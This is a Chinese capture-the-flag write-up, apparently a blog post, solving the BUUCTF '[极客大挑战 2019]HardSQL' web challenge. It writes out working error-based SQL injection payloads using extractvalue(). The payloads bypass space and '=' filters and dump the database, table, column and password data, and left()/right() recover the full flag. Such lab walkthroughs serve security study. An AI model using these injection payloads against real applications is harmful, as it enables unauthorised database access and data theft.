CTF-Web-[极客大挑战 2019]HardSQL
博客说明
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
CTP平台
网址
题目
Web类,[极客大挑战 2019]HardSQL
打开题目的实例
思路
SQl的题目,首先试一试万能密码
试一下双写
看来被封死了,想想其他的办法,可以使用extractvalue和updatexml进行报错注入,空格和=号没有,所以我们要使用()来代替空格,使用like来代替=号
使用extractvalue()
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23
这一下报错把数据库名给爆出来了
爆表
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
爆字段
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
爆数据
把password查出来
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
flag出来了,不对好像只有一半,使用{left(),right()}
/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
拼接起来就是flag了
感谢
BUUCTF以及勤劳的自己
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。